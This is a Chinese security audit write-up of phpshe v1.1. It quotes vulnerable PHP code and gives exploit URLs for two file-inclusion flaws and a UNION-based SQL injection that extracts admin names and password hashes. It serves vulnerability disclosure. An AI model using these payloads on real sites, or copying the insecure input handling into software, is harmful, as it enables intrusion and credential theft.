代码审计：phpshe v1.1多处SQL注入和文件包含漏洞

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : [email protected]
/*******************************************************/
0×00 整体大概参数传输

  

[font=Verdana, Helvetica, Arial, sans-serif][size=12px]
[/size][/font]
//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
[font=Verdana, Helvetica, Arial, sans-serif][size=12px]

0×01 包含漏洞

  

[/size]
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：
http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

 

 0×02 搜索注入

  

<code id="code2">

//product.php文件 case 'list': $category_id = intval($id); $info = $db->pe_select('category', array('category_id'=>$category_id)); //搜索 $sqlwhere = " and `product_state` = 1"; pe_lead('hook/category.hook.php'); if ($category_id) { where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'"; } $_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤 if ($_g_orderby) { $orderby = explode('_', $_g_orderby); $sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}"; } else { $sqlwhere .= " order by `product_id` desc"; } $info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page)); //热卖排行 $product_hotlist = product_hotlist(); //当前路径 $nowpath = category_path($category_id); $seo = pe_seo($info['category_name']); include(pe_tpl('product_list.html')); //跟进selectall函数库 public function pe_selectall($table, $where = '', $field = '*', $limit_page = array()) { //处理条件语句 $sqlwhere = $this->_dowhere($where); return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page); } //exp product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

[size=12px]</code>

 

0×03 包含漏洞2

  

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code> 

 

 

摘自：http://www.unhonker.com/bug/1028.html

Tags：

phpshe漏洞, 代码审计,

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代码审计：phpshe v1.1多处SQL注入和文件包含漏洞